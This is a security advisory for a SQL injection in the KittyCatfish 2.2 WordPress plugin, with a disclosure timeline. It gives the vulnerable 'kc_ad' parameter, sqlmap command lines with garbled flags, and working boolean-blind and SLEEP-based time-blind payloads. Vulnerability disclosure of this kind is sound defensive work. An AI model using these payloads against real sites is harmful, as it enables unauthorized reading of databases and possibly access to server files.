WordPress KittyCatfish 2.2 SQL Injection

`# Exploit Title: KittyCatfish 2.2 Plugin for WordPress - SQL Injection  
# Date: 20/03/2017  
# Exploit Author: TAD GROUP  
# Vendor Homepage: https://wordpress.org/plugins-wp/kittycatfish/  
# Software Link: https://wordpress.org/plugins-wp/kittycatfish/  
# Version: 2.2  
# Contact: [email protected]  
# Website: https://tad.bg <https://tad.bg>  
# Category: Web Application Exploits  
  
  
1. Description   
  
An unescaped parameter was found in KittyCatfish version 2.2 (WP plugin). An attacker can exploit this vulnerability to read from the database.  
  
The get oarameter 'kc_ad' is vulnerable.  
  
  
2. Proof of concept  
  
sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/base.css.php?kc_ad=31&ver=2.0"" adbms athreads=10 arandom-agent  
  
OR  
  
sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/kittycatfish.php?kc_ad=37&ver=2.0" adbms athreads=10 arandom-agent adbms=mysql alevel 5 arisk=3  
  
Parameter: kc_ad (GET)  
  
Type: boolean-based blind  
  
Title: AND boolean-based blind - WHERE or HAVING clause  
  
Payload: kc_ad=31 AND 2281=2281&ver=2.0  
  
  
  
Type: AND/OR time-based blind  
  
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)  
  
Payload: kc_ad=31 AND (SELECT * FROM (SELECT(SLEEP(5)))xzZh)&ver=2.0  
  
  
  
3. Attack outcome:  
  
An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.  
  
4. Impact  
  
Critical  
  
5. Affected versions  
  
<= 2.2  
  
6. Disclosure timeline  
  
06-Mar-2017 - found the vulnerability  
06-Mar-2017 - informed the developer  
20-Mar-2017 - release date of this security advisory  
  
Not fixed at the date of submitting this exploit.  
  
`